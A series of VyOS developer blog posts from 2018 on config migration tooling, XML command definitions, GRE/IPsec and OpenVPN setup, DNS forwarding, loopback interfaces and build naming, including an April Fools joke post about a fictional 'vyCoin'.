What is it for? Think what happens if the old CLI syntax design is proven suboptimal, and the only way to seriously improve some feature requires an incompatible syntax change. One such change you may be aware of is the new vs. old NAT syntax, even if just because EdgeOS decided to keep it. The old syntax with a single "service nat" subtree where source NAT rules had to be over 5000, and yet you also had to specify rule type in addition to it, was unwieldy, and pretty much everyone agrees that the new one is better.

Despite the incompatible change, old configs from Vyatta Core 6.3 and older still load in modern VyOS versions just fine. There is a migration mechanism that looks at that version string at the end of the config, and runs appropriate scripts. For example, if you copy a config from some incredibly old version with "nat@1" in the version string, and do "load /config/config.boot.ancient", the system will look up scripts in /opt/vyatta/etc/config-migrate/migrate/nat/ and run scripts 1-to-2, 2-to-3, and 3-to-4, until the current version (though it's better to call it compatibility level) is reached.

So far so good. Why so much legacy syntax remains in VyOS then? Take "system gateway-address" for example, the source of confusion as to where that default route comes from and the leading cause of unintended equal cost multipath setups. Why that stuff is still there?

The mechanism for running the migration scripts is simple, but actually manipulating configs is not. While some scripts are nothing more than a single sed line (for example, the script that changes "smp_affinity" to "smp-affinity"), in most cases you need to go inside nodes. Basically, you need a set/delete/return_values/etc. API that you get for the running config, but without any validation and safeguards, since configs that need migration wouldn't validate by definition, otherwise no migration would be needed.

The parser used by the load command, which is also run non-interactively on boot, is tightly coupled with validation and is hard to decouple from it. It is likely going to stay this way until the entire config backend is replaced. To get around it, people back at Vyatta wrote a library for sort of parsing config files into sort of in-memory datastructures. The only problem is that it's badly broken, fragile, and very annoying to use. This is the reason people have avoided writing migration scripts at all costs, including keeping the worst kinds of legacy syntax until it's absolutely unbearable.

The old parser

The library in question is called XorpConfigParser. XORP was a routing protocol stack used by early versions of Vyatta, and they also used its shell and config format for their own features unrelated to routing protocols. That made adding new features hard and the routing protocol stack itself suffered from serious performance problems, so it was replaced by Quagga and the new CLI was made based on bash, but the name stuck. And not only the name. The library still makes assumptions about the old format, where names and values were separated by colons. When the config format was changed along with the CLI, it was not capable of manipulating values of nodes anymore and returns say "address 192.0.2.1/24" as single string, so the NAT script, for example, makes extensive use of regex match and replace to rename the options. Without normal set and delete operations, manipulating the config becomes an exercise in juggling eggs in variable gravity.

It has always been clear that it needs a replacement, but the problem of correctly parsing and manipulating configs is not a simple one. In addition to inherent complexity of a multi-way tree, the current VyOS syntax itself adds a whole bunch of problems. For example, leaf nodes (e.g. "address 192.0.2.1/24", or "reboot-on-panic true", or "disable") are terminated by newlines, while newlines are not significant anywhere else. Using the same /* */ syntax for node comments that are supposed to stay in the config, simply commented out nodes, and version metadata makes it even worse — the grammar is left-recursive and highly ambiguous. If you see a comment, you are not sure what follows — a node, and which kind of node, another comment, or end of file, and all cases need to be handled differently.

Putting Vyconf to use

A new config backend for VyOS, to be used in the future VyOS 2.0, has been in development for a while, but remained separate from any of the current VyOS code.

While replacing the config backend, and the old config format along with it, still needs a lot of work and cannot be completed until all config and op mode scripts are rewritten in the new style, there is a lot of work already done in the new backend, Vyconf. It was designed from the start to be layered, and rely on in memory datastructures, so the code that is aware of user sessions and commits is based upon code that is only aware of the datastructures and node name and value validation, which in turn builds upon code that is only aware of datastructures. The problem of set/delete interface to multiway trees is already solved there, so why not reuse it?

It needed support for the old config format input and output of course, and to make it accessible from Python scripts, the functionality needed to be made available through a shared library, but I managed to make a working version, which will make it to the next nightly build.

Technical details

The library is somewhat hacky now. The config formatter, for example, doesn't attempt to sort nodes, and likely cannot handle all possible cases of node nesting. The Python bindings are based on ctypes and dlopen(). The shared library it links with is unnecessarily large due to linking with all libraries that Vyconf needs. Building the library assumes per-user OPAM setup and has implicit dependency on Vyconf (and its build dependencies). To avoid the issue with ambiguity introduced by trailing comments, I opted for separating them with a simple finite state machine matcher before passing the actual config parts to the real parser.

You can find the source code of the shared library in libvyosconfig, and the Python bindings in vyos-1x.

Conclusion

Just like any new feature, it needs testing. I'll be testing for missing cases and preparing and API reference, as small as it is, but everyone is invited to play with it in the next 1.2.0 nightly build and send their feedback.

Things the new style configuration mode definitions intentionally do not support

daniil@sentrium.io (Daniil Baturin) — Mon, 21 May 2018 11:44:57 GMT

I've made three important changes to the design of the configuration command definitions, and later I realized that I never wrote down a complete explanation of the changes and the motivation behind them.

So, let's make it clear: these changes are intentional and they shouldn't be reintroduced. Here's the details:

The "type" option

In the old definitions, you can see the "type:" option in the node.def files very often. In the new style XML definitions, there's no equivalent of it, and the type is always set to "txt" in autogenerated node.def's for tag and leaf nodes (which means "anything" to the configuration backend).

I always felt that the "type" option suffers from two problems: scope creep and redundancy.

The scope creep is in the fact that "type" was used for both value validation and generating completion help in "val_help:" option. Also, the "u32" type (32-bit unsigned integer) has a little known undocumented feature: it could be used for range validation in form of "type: u32:$lower-$upper" (e.g. u32:0-65535). It has never been used consistently even by the original Vyatta Core authors, plenty of node.def's use additional validation statements instead.

Now to the redundancy: there are two parallel mechanisms for validations in the old style definitions. Or three, depending on the way you count them. There are "syntax:expression:" statements that are used for validating values at set time, and "commit:expression:" that are checked at commit time.

My feeling from working with the system for scary amount of time was that the "type" option alone is almost never suffucient, and thus useless, since actual, detailed validation is almost always done elsewhere, in those "syntax/commit:expression:" statements or in the configuration scripts. Sometimes a "commit:expression:" is used where "syntax:expression:" would be more appropriate (i.e. validation is delayed) but let's focus on set-time validation only.

But without data to back it up, a feeling is just a feeling, so I made up a quick and dirty script to do some analysis. You can repeat what I've done easily with "find /opt/vyatta/share/vyatta-cfg/templates/ -type f -maxdepth 100 -name 'node.def' | nodecheck.py".

On VyOS 1.1.8 (which doesn't include any rewritten code) the output is:

Has type: 2737

Has type txt: 1387

Has type other than txt: 1350

Has commit or syntax expression: 1700

Has commit or syntax expression and type txt: 740

Has commit or syntax expression and type other than txt: 960

While irrelevant to the problem on hand, the total count of node.def's is 4293). In other words, of all nodes that have the type option, 50% have it set to "txt". Some of them are genuinely "anything goes" nodes such as "description" options, but most use it as a placeholder.

68% of all nodes that have a type are also using either "syntax:expression:" or "commit:expression:". Of all nodes that have a type more specific than "txt", 73% have additional validation. This means that even for supposedly specific types, type alone is enough only in 23% cases. This raises the question whether we need types at all.

Sure, we could introduce more types and add support for something of a sum type, but is it worth the trouble if validation can be easily delegated to external scripts? Besides, right now types are built in the config backend, which means adding a new one requires modifying it starting from the node.def parser.

In the new style definitions, I felt like the only special case that is special enough is regular expression. This is how value constraints checked at set time are defined:

<leafNode name="foo">

  <properties>

    <constraint>

      <regex>(baz|baz)</regex>

      <validator>quux</validator>

    </constraint>

  </properties>

<leafNode>

Here the "validator" tag contains a reference to a script stored in /usr/libexec/vyos/validators/. Since adding a new validator is easy, there's no reason to hesitate to add new ones for common (and even not so common) cases. Note that "regex" option is automatically wrapped in ^$, so there's no need to do it by hand every time.

Default values

The old definitions used to support "default:" option for setting default values for nodes. It looks innocous on the surface, but things get complicated when you look deeper into its behaviour.

You may think a node either exists, or it does not. What is the value of a node that doesn't exist? Sounds rather like a Zen koan, but here's cheap enlightenment for you: it depends on whether it has a default value or not.

Thus, nodes effectively have three states: "doesn't exist", "exists", and "default". As you can already guess, it's hard to tell the latter two apart. It's also very hard to see if a node was deleted from a config or just reset to a default value. It also means that every node lookup cannot operate on the running config tree alone and has to consult the command definitions as well, which is very bad if you plan to use the same code for the CLI and for standalone config handling programs such as migration scripts.

Last time people tried to introduce rollback without reboot, the difficulties of handling the third virtual "default" state was one of the biggest problems, and it's still one of the reasons we don't have a real rollback. VyConf has no support for default values for this reason, so we should eliminate them as we rewrite the code.

Defaults should be handled by config scripts now. Sure, we lose "show -all" and the ability to view defaults, but the complications that come with it hardly make it worth the trouble. There are also many implicit defaults that come from underlying software options anyway.

Embedded shell scripts

That's just a big "no". Have you ever tried to debug code that is spread across multiple node.def's in nested directories and that cannot be executed separately or stepped through?

While it's tempting to allow that for "trivial" scripts, the code tends to grow and things get ugly. Look the the implementation of PPPoE or tunnel interfaces in VyOS 1.1.8.

If it's more than one command, make it an external script, and you'll never regret the decision when it begins to grow.

New-style operational mode command definitions are here

daniil@sentrium.io (Daniil Baturin) — Wed, 16 May 2018 16:50:29 GMT

We've had a convertor from the new style configuration command definitions in XML to the old style "templates" for a while in VyOS 1.2.0. As I predicted, a number of issues were only discovered and fixed as we have rewritten more old scripts, but by now they should be fully functional. However, until very recently, there was no equivalent of it for the operational mode commands. Now there is.

The new style

In case you've missed our earlier posts, here's a quick review. The configuration backend currently used by VyOS keeps command definitions in a very cumbesome format with a lot of nested directories where a directory represents a nesting level (e.g. "system options reboot-on-panic" is in "templates/system/options/reboot-on-panic"), a file with command properties must be present in every directory, and command definition files are allowed to have embedded shell scripts.

This makes command definitions very hard to read, and even harder to write. We cannot easily change that format until a new configuration backend is complete, but we can abstract it away, and that's what we did.

The new command definitions are in XML, and a RelaxNG schema is provided, so everyone can see its complete grammar and automatically check if their definitions are correctly written. Automated validation is already integrated in the build process.

Rewriting the command definitions goes along with rewriting the code they call. New style code goes to the vyos-1x package.

The new directory structure

Before we discuss the op mode definitions, let's talk about another important change we've made lately. If you've ever looked inside the VyOS filesystem, you noticed that the directory structure we inherited from Vyatta Core doesn't make much sense. Everything is in /opt/vyatta even though its contents are a) anything but optional b) actually managed by APT. Inside, it gets worse: executables almost arbitrarily distributed between bin/, bin/sudo-users, and sbin and so on.

Trying to restructure it all at once is a dangerous idea since the effect of the changes on the old code that often has hardcoded paths is hard to predict, so we decided to move the files to new locations as we rewrite them. The new directory structure is:

usr/libexec/vyos/

    conf_mode/   #  Configuration mode scripts

    op_mode/     #  Operational mode scripts

    validators/  #  Value validation scripts

    completion/  #  Completion scripts

    helpers/     # Miscelanneous helper programs (nothing there yet)

New executables useful for the end users will go to /usr/bin and /usr/sbin, and new data will go to /usr/share/vyos, as per the filesystem hierarchy standard as well.

We've also introduced environment variables for referencing those directories. I suppose we've learnt the lesson of hardcoded paths too well by now, so let's avoid them in the future. Instead we can reference the directories by:

vyos_libexec_dir=/usr/libexec/vyos

vyos_op_scripts_dir=/usr/libexec/vyos/op_mode

vyos_validators_dir=/usr/libexec/vyos/validators

vyos_completion_dir=/usr/libexec/vyos/completion

vyos_conf_scripts_dir=/usr/libexec/vyos/conf_mode

vyos_sbin_dir=/usr/sbin

vyos_bin_dir=/usr/bin

How to write an operational command definition

For the proof of concept, I've migrated the operational mode commands for traffic dumps and bandwidth usage. Let's look at the CLI for traffic dumps. You can find its definitions in op-mode-definitions/traffic-dump.xml

It is relatively short, but demonstrates the most important concepts found in op mode commands. It also doesn't use any external scripts and instead calls tcpdump directly, which is acceptable because the commands are very short and simple and are run with the same unprocessed arguments unconditionally. If you want to look at a something that uses external scripts, check out the CLI for DNS forwarding.

I took a chance to redesign that CLI. Before that the op mode CLI for making traffic dumps was well hidden under "run monitor interfaces ... traffic ...". Many people weren't even aware that it exists, the fact that most people just run tcpdump by hand notwithstanding.

Now those commands are "run monitor traffic interface $intf <filter $filter | save $file [filter $filter] >".

Let's look at the XML file. Sadly, Posthaven won't let me paste XML into here properly (we should migrate from it — it only got worse over time), so please open the link and follow it with me.

It starts with interfaceDefinition tag, it's mandatory. Then we have a node. Much like in conf mode, there are three types of nodes: normal nodes ("node" tag) that are containers for other nodes (e.g. "show" or "reset"); tag nodes ("tagNode" tag) that take arguments (such as "interface" or "filter" in our case); and leaf nodes ("leafNode" tag) that are terminal nodes (such as "statisics" in "show dns forwarding statistics").

Any kind of op mode node can have a command attached to it with the "command" tag. We just put tcpdump commands in there. Notice the arguments like $4 and $6. This is how the op mode handler passes arguments to commands: you need to reference the number of the word in the command, starting with one. In our case "monitor traffic interface eth0" needs to pass eth0 to tcpdump, eth0 is the word number 4 in that line, so we use $4.

Inside properties, you can specify the help string with the "help" tag, that's what you get in the first level of tab completion. The "completionHelp" tag is more interesting. It defines the completion you get on the second tab press in a command that takes arguments, such as "interface" in our case. That tag may include one or more instances of:

"list" tags — those are static lists of options, interface speed in ethernet is a perfect example, "<list>10 100 1000 2500 10000</list>"
"script" tags — those are paths to scripts that produce a list of something, that's what we keep in the ${vyos_completion_dir}
"path" tags — those are configuration paths, such as "interfaces ethernet". It only makes sense for tag nodes of course, even though technically you can use any non-leaf node there. It's a thin wrapper for /bin/cli-shell-api listNodes $path

And that's pretty much all that is to it. You can fine the RelaxNG schema and its compact syntax equivalent right there in the package.

Join the work

The vyatta-op package has lots of simple commands that are a perfect fit for new contributors, so it makes a good starting point if you want to join VyOS development. Create a task in our Phabricator, write your code, reference the task number in the commits, and make a pull request against vyos-1x. For more complicated commands, it's a good idea to discuss it first.

The "reboot"/"show reboot", "show hardware", and "show system" families are perfect candidates since most of the commands there call just one system command. Let's make the command definitions easily readable and editable!

VyOS 1.2.0 status update

daniil@sentrium.io (Daniil Baturin) — Fri, 11 May 2018 08:33:05 GMT

While VyOS 1.2.0 nightly builds have been fairly usable for a while already, there are still some things to be done because we can make a named release candidate from it. These are the things that have been done lately:

EC2 AMI scripts retargeting and clean up

The original AMI build scripts had been virtually unchanged since their original implementation in 2014, and by this time they've had ansible warnings at every other step, which prompted us to question everything they do, and we did. This resulted in a big spring cleanup of those scripts, and now they are way shorter, faster, and robust.

Other than the fact that they now work with VyOS 1.2.0 properly, one of the biggest improvements from the user point of view is that it's now easy to build an AMI with a custom config file simply by editing the file at playbooks/templates/config.boot.default.ec2

The primary motivation for it was to replace cumbersome in-place editing of the config.boot.default from the image with a single template, but in the end it's a win-win solution for both developers and users.

The original scripts were also notorious for their long execution time and fragility. What's worse is that when they failed (and it's usually "when" rather than "if"), they would leave behind a lot of gargabe they couldn't automatically clean up, since they used to create a temporary VPC complete with an internet gateway, subnet, and route table, all just for a single build instance. They also used a t2.medium instance that was clearly oversized for the task and could be expensive to leave running if clean up failed.

Now they create the build instance in the first available subnet of the default VPC, so even if they fail, you only need to delete a t2.micro instance, a key pair, and a security group.

It is no longer possible to build VyOS 1.1.x images with those scripts from the baseline code, but I've created a tag named 1.1.x from the last commit where it was possible, so you can do it if you want to — without these recent improvements of course.

Package upgrades and new drivers

We've upgraded StrongSWAN to 5.6.2, which hopefully will fix a few longstanding issues. Some enthusiastic testers are already testing it, but everyone is invited to test it as well.

SR-IOV is now basically a requirement for high performance virtualized networking, and it needs appropriate drivers. Recent nightly builds include a newer version of Intel's ixgbe and Mellanox OFED drivers, so the support for recent 10gig cards and SR-IOV in particular has improved.

A step towards using the master branch again

The "current" git branch we use throughout the project where everyone else uses "master" was never intended to be a permanent setup: it always was a workaround for the master branch in packages inherited from Vyatta Core being messed up beyond any repair. It will take quite some time to get rid of the "current" branch completely and we'll only be able to do it when we finally consolidate all the code under vyos-1x, but we've made jenkins builds correctly put the packages built from the "master" branch in our development repository, so we'll be able to do it for packages that do not include any legacy code at least.

IPv6 VRRP status

This is the most interesting part. IPv6 VRRP is perhaps a single most awaited feature. Originally it was blocked by lack of support for it in keepalived. Now keepalived supports it, but integrating it will need some backwards-incompatible changes.

Originally, keepalived allowed mixing IPv4 and IPv6 in the same group, but it no longer allows it (curiously, the protocol standard does allow IPv4 advertisments over IPv6 transport, but I can see why they may want to keep these separate). This means to take advantage of the improvements it made, we also have to disallow it, thus breaking the configs of people who attempted to use it. We've been thinking about keeping the old syntax while generating different configs from it, or automated migration, but it's not clear if automated migration is really feasible.

An incompatible syntax change is definitely needed because, for example, if we want to support setting hello source address or unicast VRRP peer address for both IPv4 and IPv6, we obviously need separate options.

Soon IPv6 addresses in IPv4 VRRP groups will be disallowed and syntax for IPv6-only VRRP groups will be added alongside the old vrrp-group syntax. If you have ideas for the new syntax, the possible automated migration, or generally how to make the transition smooth, please comment on the relevant task.

PowerDNS recursor instead of dnsmasq

The old dnsmasq (which I, frankly, always viewed as something of a spork, with its limited DHCP server functionality built into what's mainly a caching DNS resolver), has been replaced with PowerDNS recursor, a much cleaner implementation.

On security of GRE/IPsec scenarios

daniil@sentrium.io (Daniil Baturin) — Fri, 27 Apr 2018 13:33:11 GMT

As we've already discussed, there are many ways to setup GRE (or something else) over IPsec and they all have their advantages and disadvantages. Recently an issue was brought to my attention: which ones are safe against unencrypted GRE traffic being sent?

The reason this issue can appear at all is that GRE and IPsec are related to each other more like routing and NAT: in some setups their configuration has to be carefully coordinated, but in general they can easily be used without each other. Lack of tight coupling between features allows greater flexibility, but it may also create situations when the setup stops working as intended without a clear indication as to why it happened.

Let's review the knowingly safe scenarios:

VTI

This one is least flexible, but also foolproof by design: the VTI interface (which is secretly simply IPIP) is brought up only when an IPsec tunnel associated with it is up, and goes down when the tunnel goes down. No traffic will ever be sent over a VTI interface until IKE succeeds.

Tunnel sourced from a loopback address

If you have missed it, the basic idea of this setup is the following:

set interfaces dummy dum0 address 192.168.1.100/32

set interfaces tunnel tun0 local-ip 192.168.1.100/32
set interfaces tunnel tun0 remote-ip 192.168.1.101/32 # assigned to dum0 on the remote side

set vpn ipsec site-to-site peer 203.0.113.50 tunnel 1 local prefix 192.168.1.100/32
set vpn ipsec site-to-site peer 203.0.113.50 tunnel 1 remote prefix 192.168.1.101/32

Most often it's used when the routers are behind NAT, or one side lacks a static address, which makes selecting traffic for encryptions by protocol alone impossible. However, it also introduces tight coupling between IPsec and GRE: since the remote end of the GRE tunnel can only be reached via an IPsec tunnel, no communication between the routers over GRE is possible unless the IPsec tunnel is up. If you fear that any packets may be sent via the default route, you can nullroute the IPsec tunnel network to be sure.

The complicated case

Now let's examine the simplest kind of setup:

set interfaces tunnel tun0 local-ip 192.0.2.100 # WAN address
set interfaces tunnel tun0 remote-ip 203.0.113.200

set vpn ipsec site-to-site peer 203.0.113.200 tunnel 1 protocol gre

In this case IPsec is setup to encrypt the GRE traffic to 203.0.113.200, but the GRE tunnel itself can work without IPsec. In fact, it will work without IPsec, just without encryption, and that is the concern for some people. If the IPsec tunnel goes down due to misconfiguration, it will fall back to the common, unencrypted GRE.

What can you do about it?

As a user, if your requirement is to prevent unencrypted traffic from ever being sent, you should use VTI or use loopback addresses for tunnel endpoints.

For developers this question is more complicated.

What should be done about it?

The opinions are divided. I'll summarize the arguments here.

Arguments for fixing it:

Cisco does it that way (attempts to detect that GRE and IPsec are related — at least in some implementations and at least when it's referenced as IPsec profile in the GRE tunnel)
The current behaviour is against user's intentions

Arguments against fixing it:

Attempts to guess user's intentions are doomed to fail at least some of the time (for example, what if a user intentionally brings an IPsec tunnel down to isolate GRE setup issues?)
The only way to guarantee that unencrypted traffic is never sent is checking for a live SA matching protocol and source before forwarding every packet — that's not good for performance).

Practical considerations:

Since IKE is in the userspace, the kernel can't even know that an SA is supposed to exist until IKE succeeds: automatic detection would be a big change that is unlikely to be accepted in the mainline kernel.
Configuration changes required to avoid the issue are simple

If you have any thoughts on the issue, please share with us!

When VyOS CLI isn't enough

daniil@sentrium.io (Daniil Baturin) — Fri, 20 Apr 2018 14:58:39 GMT

Sometimes a particular configuration option is supported by the software that VyOS uses, but the CLI does not expose it. Since VyOS is open source, you can always fix that, but sometimes you need it by tomorrow, and there's simply no time to do it.

In a number of places, we've left an escape hatch for it that allows bypassing the CLI and including a raw snippet into the generated config. Of course, you give up the sanity checks of the CLI and take full responsibility for the correctness of the resulting config, but sometimes it's necessary.

OpenVPN

In openvpn, we have an option called "openvpn-option". You can pass any options to OpenVPN process with it, but note that in the current versions, it has to follow the command line rather than config file option, i.e. prepend it with "--". See this example:

set interfaces openvpn vtun10 openvpn-option "--connect-freq 10 60"

Note that the "push" option em is supported. I see OpenVPN configs with openvpn-option heavily overused once in a while — before including an option, make sure what you need to do is really not supported.

DHCP server

In the DHCP server, there is not one, but too escape hatches. One is the "subnet-parameters" option under "subnet". Another one is a "global-parameters" under "shared-network-name".

See an example:

set service dhcp-server shared-network-name LAN subnet 10.0.0.0/24 subnet-parameters "ping-timeout 5;"

Since dhcpd.conf syntax is more complex than just a list of options, it's important to make sure that generated config will be valid. It's easy to make your DHCP server stop loading and spend some time reading the log to see what is wrong, so be careful here.

Note that these options are not supported by the DHCPv6 server. Anyone thinks we should support it?

Dynamic DNS

In dynamic DNS, you can use the generic HTTP method if your provider and protocol is not supported.

set service dns dynamic interface eth0 use-web url http://dyndns.example.com/?update

Since no one can possibly support all providers, I believe it will remain a necessary option forever.

When all else fails: the postconfig script

If something is not supported and doesn't have a handy escape hatch, you still can implement it with the postconfig script. That script is found at /config/scripts/vyatta-postconfig-bootup.script and runs after config.boot loading is complete, so it's particularly conductive to manipulating things like raw iptables rules.

VyOS doesn't delete or overwrite anything in the global netfilter tables after boot, so it's safe to put your commands there, for example "/sbin/iptables -I FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu" for global MSS clamping.

You still need to be careful not to conflict with any of the rules inserted by VyOS though, in general, so always make sure to check what exactly VyOS generates before using the postconfig script.

Looking forward

VyOS 1.2.0 brings improvements to the postconfig script execution and adds some more escape hatches — stay tuned for updates.

DNS forwarding in VyOS

daniil@sentrium.io (Daniil Baturin) — Fri, 13 Apr 2018 12:00:00 GMT

Update (February 2021): As of VyOS 1.2.0 "service dns forwarding listen-on" has been deprecated. Please use "service dns forwarding listen-address" instead. In addition, you must now set "service dns forwarding allow-from" as well, as open DNS recursors are vulnerable to denial of service attacks.

A lot of small networks do not have their own DNS server, but it's not always desirable to just leave hosts to use an external third-party server either, that's why we've had DNS forwarding in VyOS for a long time and are going to keep it there for the foreseeable future.

Experienced VyOS users already know all about it, but we should post something for newcomers too, shouldn't we?

Configuring DNS forwarding is very simple. Assuming you have "system name-server" set, all you need to do to simply forward requests from hosts behind eth0 to it is "set service dns forwarding listen-on eth0". Repeat for every interfaces where you have clients and you are done.

There are some knobs for telling the service to use or not use specific DNS servers though:

set service dns forwarding listen-on eth0

# Use name servers from "system name-server"
set service dns forwarding system

# Use servers received from DHCP on eth1 (typically an ISP interface)
set service dns forwarding dhcp eth1

# Use a hardcoded name server
set service dns forwarding name-server 192.0.2.10

You can also specify cache size:

set service dns forwarding cache-size 1000

One of the less known features is the option to use different name servers for different domains. It can be used for a quick and dirty split-horizon DNS, or simply for using an internal server just for internal domains rather than recursive queries:

set service dns forwarding domain mycompany.local server 192.168.52.100
set service dns forwarding domain mycompany.example.com server 192.168.52.100

And that's all to it. DNS forwarding is not a big feature — useful doesn't always equal complex.

Loopback and the dummies

daniil@sentrium.io (Daniil Baturin) — Fri, 06 Apr 2018 11:43:17 GMT

"There is no place like 127.0.0.1" the old saying goes. While the loopback interface is most often seen as the interface where the 127.0.0.1 address is assigned by default and where the 127.0.0.0/8 network is routed, and just a way for programs on the same host to communicate over the network without actual network, it has uses in networked context as well.

Before we talk about those use cases, we need to discuss interfaces themselves. In some OSes, such as Cisco IOS, and many BSD derivatives, it is possible to create multiple loopbacks. Linux kernel (and thus VyOS) historically allowed only one loopback (named "lo"), and this behaviour has become too traditional and relied upon to change overnight, so to implement multiple loopback, a new interface type called "dummy" was added. Dummy interfaces are functionally identical to loopbacks so the difference is mostly aesthetic.

This is how to setup a dummy interface: "set interfaces dummy dum0 address ...". If your problem does not require independent interfaces, you can also just add another address to the loopback.

So, why would one want to use a loopback/dummy interface instead of assigning another address to a physical NIC?

Case 1: tunnel endpoints

We have already talked about GRE/IPsec behind NAT and/or with dynamic addresses. Since GRE requires fixed local and remote endpoint addresses to work, and in a setup where dynamic addresses or NAT is involved you do not have fixed addresses, the trick is to use a pair of addresses made up specially for this purpose as GRE endpoints.

Case 2: management addresses

Suppose you have a router A with two NICs, connected to networks B and C that are connected to each other, so that if any of the links fails, the network as a whole is still operational. However, if you choose either NIC A or NIC B address as a management address, it may become inaccessible if one of the NICs fail, forcing you to manually fall back to the other address.

To prevent this situations, people often assign a dedicated management address to a loopback, create a DNS record for it, and advertise that address to all other routers so that as long as there is at least one path to that router that works, they do not need to worry about addresses of physical NICs to SSH to the router, and are free to change those addresses without having to update the DNS or memorize the new address.

Case 3: iBGP peer addresses

Since iBGP uses the same autonomous system number for all routers, it loses the ability to use AS path for path selection and loop detection. This means to keep the network loop-free, one has to setup it as a full mesh, or use a route reflector.

If we use addresses of physical NICs for session endpoints, we run into the same problem as in the previous use case: a session goes down with the link even if there are other valid paths. A possible solution is to select dedicated addresses for iBGP sessions, assign them to loopbacks, and advertise them to all other routers through a link-state protocol such as OSPF.

Your use case?

If you know other cases when a network setup can be improved by using loopback or dummy interfaces, let us know!

Naming of the nightly builds

daniil@sentrium.io (Daniil Baturin) — Thu, 05 Apr 2018 20:46:19 GMT

Historically, we used to use "999.$timestamp" version numbers for development builds, including nightly builds. In our build scripts termninology, a development build is any build that is started without doing "./configure --build-type=release --version=1.2.0" or similar (before the build script rewrite that was "./configure --with-release-build" and you also needed to put a version string in livecd/version or somethinf like that). In short, most builds in existence had that nondescript 999 version. That's how it was before the fork and we just didn't change that.

However, that approach is rather problematic. The 999 version doesn't tell anything about the branch it's built from or the nearest release, so one can only guess from the timestamp what it might be, and even that is not reliable. With introduction of a rolling release that will exist alongside the stable releases, this gets even more problematic, so something needs to be done about it.

We decided to change the format to "$release-rolling+$timestamp", like "1.2.0-rolling+201804060100". I have some hesitations about the "+", so if people think it should rather be "-", we can change it.

If you visit https://downloads.vyos.io/?dir=rolling/current/amd64 , you can see the new naming scheme in action. Let us know if you experience any problems with it!

VyOS to leverage the blockchain technology

daniil@sentrium.io (Daniil Baturin) — Sun, 01 Apr 2018 18:23:09 GMT

Wild success of the blockchain technology on the mass market in the past couple of years is truly remarkable and it allowed many startups to raise substantial capitals. To keep up with those developments, we've been working on vyCoin, a cryptocurrency that will revolutionize the way people think about their network peering.

People will be able to mine vyCoin by routing other people's traffic and pay for traffic routing with it. Through smart contracts, it will be possible to charge vyCoins for routing other people's traffic with it as well. The use cases are endless, from facilitating peering arrangements at Internet exchanges to allowing people to earn something by participating in distributed private networks and ad hoc wireless.

To speed up the adoption, 50% of vyCoins come pre-mined and will be available to early adopters via an ICO. The vyCoin client will be integrated in the VyOS release images along with a kernel module for packet tracking so it will automatically start mining when you route traffic of other networks. The client will be sending 50% of the mined coins back to us as a service fee.

The ICO date will be announced later, meanwhile you can watch the vyCoin introduction video on Youtube.

Take a third option: site to site OpenVPN

daniil@sentrium.io (Daniil Baturin) — Fri, 30 Mar 2018 10:38:22 GMT

I've written a long series of post about setting up IPsec VPNs between NATed machines. As you've already seen, with some creative configuration it's possible, but is it always worth the sacrifice? Sometimes performance requirements, or lack of support for anything else on the other side make it necessary, but if the other side is also a VyOS, or another open source system, there's an alternative.

While OpenVPN is usually associated with road warrior VPN setups, it is not limited to it. It does have a site to site option and it's very quick and easy to setup. For some strange reason, that option is neglected by just about everyone who otherwise supports OpenVPN: in OpenWRT it's possible to setup through custom config options, while in Mikrotik RouterOS it's not possible to setup at all. In VyOS we have an explicit option for it. OPNsense also supports site to site OpenVPN out of the box (I thought it doesn't, but the authors corrected me).

The advantages are that it takes very few commands to get a tunnel to work, and that it will work in any network where you can forward a single port, even is both sides are behind double NAT. The downside is performance: squeezing even 100mbit/s of encrypted traffic out of it can be impossible, typical iperf figures are 10-20 mbit/s. For many use cases that performance is more than enough, though if you plan to use the tunnel for storage replication or another high-traffic job, that option is definitely not for you and you'll have to resort to IPsec.

Setting up site to site OpenVPN

Generating a key

OpenVPN in site to site mode supports either static pre-shared keys or x.509. For a quick tunnel setup between your own routers, the format option is a lot easier and arguably not less secure. Unlike most IPsec implementations, OpenVPN stores pre-shared keys in files, and uses keys of considerable length (default is 2038. It takes just one command to generate a suitable key:

run generate openvpn key /config/auth/mysite.key

Then you can copy the file to the remote side via SCP or something else. That command is a wrapper for "openvpn --genkey --secret" in case you want to generate a key outside VyOS. It's a good idea to store the keys in /config/auth directory that was specifically meant for authentication data, since /config will be migrated to the new image when you upgrade your system — if you put them in /etc, they will be inaccessible from the upgraded image.

Setting up the tunnel

It's quite straightforward.

Local (listening) side:

set interfaces openvpn vtun10 mode site-to-site

set interfaces openvpn vtun10 description 'My remote site'

set interfaces openvpn vtun10 local-host 203.0.113.50 # Listen address

set interfaces openvpn vtun10 local-address 192.168.34.1 # Tunnel address

set interfaces openvpn vtun10 local-port 8000 # Port to listen on

set interfaces openvpn vtun10 protocol udp # Can be TCP but TCP is slower

set interfaces openvpn vtun10 remote-address 192.168.34.2 # Tunnel peer address

set interfaces openvpn vtun10 shared-secret-key-file /config/auth/mysite.key # The file you generated

Remote (connecting) side:

set interfaces openvpn vtun10 mode site-to-site

set interfaces openvpn vtun10 remote-host 203.0.113.50 # Remote router external address

set interfaces openvpn vtun10 local-address 192.168.34.2 # Tunnel address, don't forget to local/remote addresses for the remote side!

set interfaces openvpn vtun10 remote-port 8000 # Port to connect on

set interfaces openvpn vtun10 protocol udp # Can be TCP but TCP is slower

set interfaces openvpn vtun10 remote-address 192.168.34.1

set interfaces openvpn vtun10 shared-secret-key-file /config/auth/mysite.key

As you can see, with less than 10 commands on each side, you can get a tunnel working.

What about x.509?

It is doable, though I'm not sure if it's really worth the trouble for site to site tunnels.

This is how it's done. Local (listening) side:

set interfaces openvpn vtun10 tls role passive

set interfaces openvpn vtun10 tls dh-file /config/auth/dh2048.pem

set interfaces openvpn vtun10 tls ca-cert-file /config/auth/ca.crt

set interfaces openvpn vtun10 tls cert-file /config/auth/local.crt

set interfaces openvpn vtun10 tls key-file /config/auth/local.key

Remote (connecting) side:

set interfaces openvpn vtun10 tls role active

set interfaces openvpn vtun10 tls ca-cert-file /config/auth/ca.crt

set interfaces openvpn vtun10 tls cert-file /config/auth/remote.crt

set interfaces openvpn vtun10 tls key-file /config/auth/remote.key

Routing

Since OpenVPN tunnels look like normal network interfaces, you can setup routing right away as if they were physical links. You can also use push-route commands through custom options (as in, openvpn-option "push ..."). Note that OpenVPN in site to site mode doesn't install any routes by default so you need to take care of it yourself.

Ongoing improvements in project

yuriy@sentrium.io (Yuriy Andamasov) — Tue, 27 Mar 2018 16:33:05 GMT

Hi everyone,

